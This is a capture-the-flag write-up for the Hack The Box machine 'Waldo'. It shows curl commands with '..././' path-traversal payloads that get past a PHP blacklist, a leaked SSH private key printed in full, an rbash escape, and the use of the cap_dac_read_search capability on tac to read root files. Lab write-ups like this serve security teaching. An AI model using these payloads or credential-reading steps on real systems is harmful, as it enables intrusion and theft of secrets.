HTB – Waldo

Introduction

Waldo in an interesting box which will learn us about evading a blacklist and Linux capabilities.

  • Difficulty: Medium
  • OS: Linux

Getting user.txt

As always I like to start with an nmap scan. The “-sC” will run default scripts, the “-sV” flag will try to determine service/version info and the “-p-” flag will scan all 65535 TCP ports.

root@kali:~/Documents/htb/boxes/waldo# nmap -sC -sV -p- 10.10.10.87
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-13 11:24 CET
Nmap scan report for 10.10.10.87
Host is up (0.014s latency).
Not shown: 65532 closed ports
PORT     STATE    SERVICE        VERSION
22/tcp   open     ssh            OpenSSH 7.5 (protocol 2.0)
| ssh-hostkey: 
|   2048 c4:ff:81:aa:ac:df:66:9e:da:e1:c8:78:00:ab:32:9e (RSA)
|   256 b3:e7:54:6a:16:bd:c9:29:1f:4a:8c:cd:4c:01:24:27 (ECDSA)
|_  256 38:64:ac:57:56:44:d5:69:de:74:a8:88:dc:a0:b4:fd (ED25519)
80/tcp   open     http           nginx 1.12.2
|_http-server-header: nginx/1.12.2
| http-title: List Manager
|_Requested resource was /list.html
|_http-trane-info: Problem with XML parsing of /evox/about
8888/tcp filtered sun-answerbook

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.04 seconds

Notice that ports 22 and 80 are open. Port 8888 does show up as “filtered” however, I didn’t interact with port 8888 at all when I did this box. Let’s start by checking port 80. There is some sort of “List Manager” application running.

After playing around with the list manager for a bit, I took a look at my burp history and noticed the POST requests to the pages “dirRead.php”, “fileWrite.php” and “fileRead.php”. 

When we take a deeper look at the POST request parameters, it screams for Local File Inclusion (LFI).

POST request
Server response

Using “dirRead.php” in combination with “fileRead.php” it is possible to examine directories and read the files. However it seems like there is some sort of blacklist going on. When we take a look at the source code of dirRead.php by using fileRead.php it will show that there is indeed a blacklist.

root@kali:~/Documents/htb/boxes/waldo# curl -X POST http://10.10.10.87/dirRead.php --data "path=."
[".","..",".list","background.jpg","cursor.png","dirRead.php","face.png","fileDelete.php","fileRead.php","fileWrite.php","index.php","list.html","list.js"]
root@kali:~/Documents/htb/boxes/waldo# curl -X POST http://10.10.10.87/fileRead.php --data "file=dirRead.php"
{"file":"<?php\n\nif($_SERVER['REQUEST_METHOD'] === \"POST\"){\n\tif(isset($_POST['path'])){\n\t\theader('Content-type: application\/json');\n\t\t$_POST['path'] = str_replace( array(\"..\/\", \"..\\\"\"), \"\", $_POST['path']);\n\t\techo json_encode(scandir(\"\/var\/www\/html\/\" . $_POST['path']));\n\t}else{\n\t\theader('Content-type: application\/json');\n\t\techo '[false]';\n\t}\n}\n"}

The most important piece is the “str_replace” function within the source code. This will replace “../” with nothing, basically removing it.

str_replace( array(\"..\/\", \"..\\"\"), \"\", $_POST['path']);

Now the trick is to come up with a solution to bypass this filter and traverse directories. After thinking for a while, I used the following syntax: “…/./”. This will bypass the filter and will allow us to traverse directories.

Input:
..././

Filter removes "../":
..././

Leaving:
../
root@kali:~/Documents/htb/boxes/waldo# curl -X POST http://10.10.10.87/dirRead.php --data "path=..././..././..././..././..././"
[".","..",".dockerenv","bin","dev","etc","home","lib","media","mnt","proc","root","run","sbin","srv","sys","tmp","usr","var"]

The first thing I like to do in these scenario’s is look for ssh keys. The “/home/nobody/.ssh” directory does seem to have something of interest.

root@kali:~/Documents/htb/boxes/waldo# curl -X POST http://10.10.10.87/dirRead.php --data "path=..././..././..././..././..././home/nobody/.ssh"
[".","..",".monitor","authorized_keys","known_hosts"]

Looking at the “.monitor” file it seems like we hit the jackpot and got ourselves an ssh-private key.

root@kali:~/Documents/htb/boxes/waldo# curl -X POST http://10.10.10.87/fileRead.php --data "file=..././..././..././..././..././home/nobody/.ssh/.monitor"
{"file":"-----BEGIN RSA PRIVATE KEY-----\nMIIEogIBAAKCAQEAs7sytDE++NHaWB9e+NN3V5t1DP1TYHc+4o8D362l5Nwf6Cpl\nmR4JH6n4Nccdm1ZU+qB77li8ZOvymBtIEY4Fm07X4Pqt4zeNBfqKWkOcyV1TLW6f\n87s0FZBhYAizGrNNeLLhB1IZIjpDVJUbSXG6s2cxAle14cj+pnEiRTsyMiq1nJCS\ndGCc\/gNpW\/AANIN4vW9KslLqiAEDJfchY55sCJ5162Y9+I1xzqF8e9b12wVXirvN\no8PLGnFJVw6SHhmPJsue9vjAIeH+n+5Xkbc8\/6pceowqs9ujRkNzH9T1lJq4Fx1V\nvi93Daq3bZ3dhIIWaWafmqzg+jSThSWOIwR73wIDAQABAoIBADHwl\/wdmuPEW6kU\nvmzhRU3gcjuzwBET0TNejbL\/KxNWXr9B2I0dHWfg8Ijw1Lcu29nv8b+ehGp+bR\/6\npKHMFp66350xylNSQishHIRMOSpydgQvst4kbCp5vbTTdgC7RZF+EqzYEQfDrKW5\n8KUNptTmnWWLPYyJLsjMsrsN4bqyT3vrkTykJ9iGU2RrKGxrndCAC9exgruevj3q\n1h+7o8kGEpmKnEOgUgEJrN69hxYHfbeJ0Wlll8Wort9yummox\/05qoOBL4kQxUM7\nVxI2Ywu46+QTzTMeOKJoyLCGLyxDkg5ONdfDPBW3w8O6UlVfkv467M3ZB5ye8GeS\ndVa3yLECgYEA7jk51MvUGSIFF6GkXsNb\/w2cZGe9TiXBWUqWEEig0bmQQVx2ZWWO\nv0og0X\/iROXAcp6Z9WGpIc6FhVgJd\/4bNlTR+A\/lWQwFt1b6l03xdsyaIyIWi9xr\nxsb2sLNWP56A\/5TWTpOkfDbGCQrqHvukWSHlYFOzgQa0ZtMnV71ykH0CgYEAwSSY\nqFfdAWrvVZjp26Yf\/jnZavLCAC5hmho7eX5isCVcX86MHqpEYAFCecZN2dFFoPqI\nyzHzgb9N6Z01YUEKqrknO3tA6JYJ9ojaMF8GZWvUtPzN41ksnD4MwETBEd4bUaH1\n\/pAcw\/+\/oYsh4BwkKnVHkNw36c+WmNoaX1FWqIsCgYBYw\/IMnLa3drm3CIAa32iU\nLRotP4qGaAMXpncsMiPage6CrFVhiuoZ1SFNbv189q8zBm4PxQgklLOj8B33HDQ\/\nlnN2n1WyTIyEuGA\/qMdkoPB+TuFf1A5EzzZ0uR5WLlWa5nbEaLdNoYtBK1P5n4Kp\nw7uYnRex6DGobt2mD+10cQKBgGVQlyune20k9QsHvZTU3e9z1RL+6LlDmztFC3G9\n1HLmBkDTjjj\/xAJAZuiOF4Rs\/INnKJ6+QygKfApRxxCPF9NacLQJAZGAMxW50AqT\nrj1BhUCzZCUgQABtpC6vYj\/HLLlzpiC05AIEhDdvToPK\/0WuY64fds0VccAYmMDr\nX\/PlAoGAS6UhbCm5TWZhtL\/hdprOfar3QkXwZ5xvaykB90XgIps5CwUGCCsvwQf2\nDvVny8gKbM\/OenwHnTlwRTEj5qdeAM40oj\/mwCDc6kpV1lJXrW2R5mCH9zgbNFla\nW0iKCBUAm5xZgU\/YskMsCBMNmA8A5ndRWGFEFE+VGDVPaRie0ro=\n-----END RSA PRIVATE KEY-----\n"}

However the formatting of this key is bad. We can fix this by using a few Linux commands. Redirect the output to a file and change the permissions to 600.

root@kali:~/Documents/htb/boxes/waldo# curl -s -X POST http://10.10.10.87/fileRead.php --data "file=..././..././..././..././..././home/nobody/.ssh/.monitor" | cut -d "\"" -f 4 | sed 's/\\n/\n/g' | sed 's/\\//g' > nobody.key && chmod 600 nobody.key

Now that the key has been reformatted and has the right permissions, it can be used to authenticate with.

root@kali:~/Documents/htb/boxes/waldo# ssh -i nobody.key nobody@10.10.10.87
Welcome to Alpine!

The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <http://wiki.alpinelinux.org>.
waldo:~$ id
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)

Access to the system has been achieved. Reading the user.txt file will give the flag.

waldo:~$ cat user.txt 
32768bcd75132.....

Getting root.txt

Doing basic enumeration checks like sudo permissions and looking for SUID binaries will lead us nowhere. It took me a while to figure out but eventually I noticed the “known_hosts” file in “/home/nobody/.ssh” was populated with an entry. It will show the value localhost. The name of the ssh-key is “monitor”, combining these two findings will lead us to the next step.

waldo:~/.ssh$ ls -la
total 20
drwx------    1 nobody   nobody        4096 Jul 15 14:07 .
drwxr-xr-x    1 nobody   nobody        4096 Jul 24 13:30 ..
-rw-------    1 nobody   nobody        1675 May  3  2018 .monitor
-rw-------    1 nobody   nobody         394 May  3  2018 authorized_keys
-rw-r--r--    1 nobody   nobody         171 Jul 15 14:07 known_hosts
waldo:~/.ssh$ cat known_hosts 
localhost ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMsMoPYC4gQXgpVm2SlVUPuagi1mP6V4l5zynWW5f2CogESxxB/uWRLnTMjVdqL279PojOB+3n5iXLAB2sg1Bho=

Use the “.monitor” ssh-key to authenticate. Waldo will be shown in ASCII art and our user is stuck in rbash.

waldo:~/.ssh$ ssh -i .monitor monitor@localhost
Linux waldo 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1 (2018-04-29) x86_64
           &.                                                                  
          @@@,@@/ %                                                            
       #*/%@@@@/.&@@,                                                          
   @@@#@@#&@#&#&@@@,*%/                                                        
   /@@@&###########@@&*(*                                                      
 (@################%@@@@@.     /**                                             
 @@@@&#############%@@@@@@@@@@@@@@@@@@@@@@@@%((/                               
 %@@@@%##########&@@@....                 .#%#@@@@@@@#                         
 @@&%#########@@@@/                        */@@@%(((@@@%                       
    @@@#%@@%@@@,                       *&@@@&%(((#((((@@(                      
     /(@@@@@@@                     *&@@@@%((((((((((((#@@(                     
       %/#@@@/@ @#/@          ..@@@@%(((((((((((#((#@@@@@@@@@@@@&#,            
          %@*(@#%@.,       /@@@@&(((((((((((((((&@@@@@@&#######%%@@@@#    &    
        *@@@@@#        .&@@@#(((#(#((((((((#%@@@@@%###&@@@@@@@@@&%##&@@@@@@/   
       /@@          #@@@&#(((((((((((#((@@@@@%%%%@@@@%#########%&@@@@@@@@&     
      *@@      *%@@@@#((((((((((((((#@@@@@@@@@@%####%@@@@@@@@@@@@###&@@@@@@@&  
      %@/ .&%@@%#(((((((((((((((#@@@@@@@&#####%@@@%#############%@@@&%##&@@/   
      @@@@@@%(((((((((((##(((@@@@&%####%@@@%#####&@@@@@@@@@@@@@@@&##&@@@@@@@@@/
     @@@&(((#((((((((((((#@@@@@&@@@@######@@@###################&@@@&#####%@@* 
     @@#(((((((((((((#@@@@%&@@.,,.*@@@%#####@@@@@@@@@@@@@@@@@@@%####%@@@@@@@@@@
     *@@%((((((((#@@@@@@@%#&@@,,.,,.&@@@#####################%@@@@@@%######&@@.
       @@@#(#&@@@@@&##&@@@&#@@/,,,,,,,,@@@&######&@@@@@@@@&&%######%@@@@@@@@@@@
        @@@@@@&%&@@@%#&@%%@@@@/,,,,,,,,,,/@@@@@@@#/,,.*&@@%&@@@@@@&%#####%@@@@.
          .@@@###&@@@%%@(,,,%@&,.,,,,,,,,,,,,,.*&@@@@&(,*@&#@%%@@@@@@@@@@@@*   
            @@%##%@@/@@@%/@@@@@@@@@#,,,,.../@@@@@%#%&@@@@(&@&@&@@@@(           
            .@@&##@@,,/@@@@&(.  .&@@@&,,,.&@@/         #@@%@@@@@&@@@/          
           *@@@@@&@@.*@@@          %@@@*,&@@            *@@@@@&.#/,@/          
          *@@&*#@@@@@@@&     #@(    .@@@@@@&    ,@@@,    @@@@@(,@/@@           
          *@@/@#.#@@@@@/    %@@@,   .@@&%@@@     &@&     @@*@@*(@@#            
           (@@/@,,@@&@@@            &@@,,(@@&          .@@%/@@,@@              
             /@@@*,@@,@@@*         @@@,,,,,@@@@.     *@@@%,@@**@#              
               %@@.%@&,(@@@@,  /&@@@@,,,,,,,%@@@@@@@@@@%,,*@@,#@,              
                ,@@,&@,,,,(@@@@@@@(,,,,,.,,,,,,,,**,,,,,,.*@/,&@               
                 &@,*@@.,,,,,..,,,,&@@%/**/@@*,,,,,&(.,,,.@@,,@@               
                 /@%,&@/,,,,/@%,,,,,*&@@@@@#.,,,,,.@@@(,,(@@@@@(               
                  @@*,@@,,,#@@@&*..,,,,,,,,,,,,/@@@@,*(,,&@/#*                 
                  *@@@@@(,,@*,%@@@@@@@&&#%@@@@@@@/,,,,,,,@@                    
                       @@*,,,,,,,,,.*/(//*,..,,,,,,,,,,,&@,                    
                        @@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@                     
                        &@&,,,,,,,,,,,,,,,,,,,,,,,,,,,,&@#                     
                         %@(,,,,,,,,,,,,,,,,,,,,,,,,,,,@@                      
                         ,@@,,,,,,,,@@@&&&%&@,,,,,..,,@@,                      
                          *@@,,,,,,,.,****,..,,,,,,,,&@@                       
                           (@(,,,.,,,,,,,,,,,,,,.,,,/@@                        
                           .@@,,,,,,,,,,,,,...,,,,,,@@                         
                            ,@@@,,,,,,,,,,,,,,,,.(@@@                          
                              %@@@@&(,,,,*(#&@@@@@@,     
                              
                            Here's Waldo, where's root?
Last login: Tue Jul 24 08:09:03 2018 from 127.0.0.1
-rbash: alias: command not found

Escape the rbash by supplying “bash –noprofile” as an argument for ssh. Our prompt will be gone, but we can fix that with python. The PATH needs to be fixed aswell. Echo the $PATH variable on the Kali system and export it on waldo.

waldo:~/.ssh$ ssh -i .monitor monitor@localhost "bash --noprofile"
id
uid=1001(monitor) gid=1001(monitor) groups=1001(monitor)
python -c 'import pty;pty.spawn("/bin/bash")'
monitor@waldo:~$
monitor@waldo:~$ id
bash: id: command not found
monitor@waldo:~$ echo $PATH
/home/monitor/bin:/home/monitor/app-dev:/home/monitor/app-dev/v0.1
monitor@waldo:~$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/go/bin:/root/go/bin
monitor@waldo:~$ id
uid=1001(monitor) gid=1001(monitor) groups=1001(monitor)

Now that the shell is fixed, we start enumeration on the system. What stands out right away is the “/home/monitor/app-dev” directory, which contains a binary that will read information from log files located in “/var/log”. Looking at the source code we can see that it reads log files based on the flag supplied.

/*******************************************
*
*This is an application to print out common log files
*
********************************************/

#include "logMonitor.h"

void printUsage() {
    printf("Usage: %s [-aAbdDfhklmsw] [--help]\n", PROGRAMNAME);
}


int main(int argc, char** argv){
        int opt = 0;
        char filename[26];
        {
                //temporary variables for parsing
                static struct option long_options[] ={
                        /* These options don’t set a flag.
                        We distinguish them by their indices. */
                        {"auth", no_argument, 0, 'a'},
                        {"alternatives", no_argument, 0, 'A'},
                        {"btmp", no_argument, 0, 'b'},
                        {"dpkg", no_argument, 0, 'd'},
                        {"daemon", no_argument, 0, 'D'},
                        {"faillog", no_argument, 0, 'f'},
                        {"help", no_argument, 0, 'h'},
                        {"kern", no_argument, 0, 'k'},
                        {"lastlog", no_argument, 0, 'l'},
                        {"messages", no_argument, 0, 'm'},
                        {"syslog", no_argument, 0, 's'},
                        {"wtmp", no_argument, 0, 'w'},
                        {0,0,0,0}
                };
                //parse the command line arguments
                int option_index = 0;
                while((opt = getopt_long (argc, argv, "aAbdDfhklmsw", long_options, &option_index)) != -1 ){
                        switch (opt) {
                                case 'a' :
                                        strncpy(filename, "/var/log/auth.log", sizeof(filename));
                                        printFile(filename);
                                        break;
                                case 'A' :
                                        strncpy(filename, "/var/log/alternatives.log", sizeof(filename));
                                        printFile(filename);
                                        break;
                                case 'b' :
                                        strncpy(filename, "/var/log/btmp",sizeof(filename));
                                        printFile(filename);
                                        break;
                                case 'd' :
                                        strncpy(filename, "/var/log/daemon.log",sizeof(filename));
                                        printFile(filename);
                                        break;
                                case 'D' :
                                        strncpy(filename, "/var/log/dpkg.log",sizeof(filename));
                                        printFile(filename);
                                        break;
                                case 'f' :
                                        strncpy(filename, "/var/log/faillog",sizeof(filename));
                                        printFile(filename);
                                        break;
                                case 'h' :
                                        printUsage();
                                        exit(1);
                                case 'k' :
                                        strncpy(filename, "/var/log/kern.log",sizeof(filename));
                                        printFile(filename);
                                        break;
                                case 'l' :
                                        strncpy(filename, "/var/log/lastlog",sizeof(filename));
                                        printFile(filename);
                                        break;
                                case 'm' :
                                        strncpy(filename, "/var/log/messages",sizeof(filename));
                                        printFile(filename);
                                        break;
                                case 's' :
                                        strncpy(filename, "/var/log/syslog",sizeof(filename));
                                        printFile(filename);
                                        break;
                                case 'w' :
                                        strncpy(filename, "/var/log/wtmp",sizeof(filename));
                                        printFile(filename);
                                        break;
                                default:
                                        printUsage();
                                        exit(EXIT_FAILURE);
                        }
                }
        }
        return 1;
}

When the “-m” flag is supplied the program should read “/var/log/messages” and display the contents. However when we execute the program it will say that the file cannot be opened.

monitor@waldo:~/app-dev$ ./logMonitor -m
Cannot open file

Checking the permissions of “/var/log/messages” does show that we are not permitted to read this file. Only root and members of the “adm” group can read this.

monitor@waldo:~/app-dev$ ls -la /var/log/messages
-rw-r----- 1 root adm 153 Dec 13 05:34 /var/log/messages

In the app-dev directory there is also a folder called “v0.1”. Probably hinting that this folder contains an earlier version of the program. No source code is present in this folder, only the compiled binary.

monitor@waldo:~/app-dev/v0.1$ ls -la
total 24
drwxr-x--- 2 app-dev monitor  4096 May  3  2018 .
drwxrwx--- 3 app-dev monitor  4096 May  3  2018 ..
-r-xr-x--- 1 app-dev monitor 13706 May  3  2018 logMonitor-0.1

Now comes the part that surprised me when I did the box for the first time. When we execute this version of logMonitor with the same flag, it does return the contents on /var/log/messages.

monitor@waldo:~/app-dev/v0.1$ ./logMonitor-0.1 -m
Dec 13 05:34:39 waldo liblogging-stdlog:  [origin software="rsyslogd" swVersion="8.24.0" x-pid="344" x-info="http://www.rsyslog.com"] rsyslogd was HUPed

How is this possible? No sudo and no SUID/SGID bits. This is when I learned about Linux capabilities. While I still don’t completely understand it, I look at it as a way of giving superuser permissions to binaries, but alot more “fine-grained”. Please refer to this article for more information on Linux capabilities. Checking the capabilities with “getcap” will show that the logMonitor-0.1 has “cap_dac_read_search” capabilities. Which means that logMonitor-0.1 can bypass file read permission and directory read/search permission checks.

monitor@waldo:~/app-dev/v0.1$ getcap logMonitor-0.1
logMonitor-0.1 = cap_dac_read_search+ei

Search the system for more binaries with capabilities. It will show that “/usr/bin/tac” also has the cap_dac_read_search capability. This might be interesting!

monitor@waldo:~/app-dev/v0.1$ getcap -r / 2>/dev/null
/usr/bin/tac = cap_dac_read_search+ei
/home/monitor/app-dev/v0.1/logMonitor-0.1 = cap_dac_read_search+ei

This can be abused to read root files, including the root.txt flag.

monitor@waldo:~/app-dev/v0.1$ /usr/bin/tac /root/root.txt
8fb67c8441......

I wasn’t able to get myself a rootshell, please drop me a message on hackthebox if you know the answer :). Thanks for reading this write-up.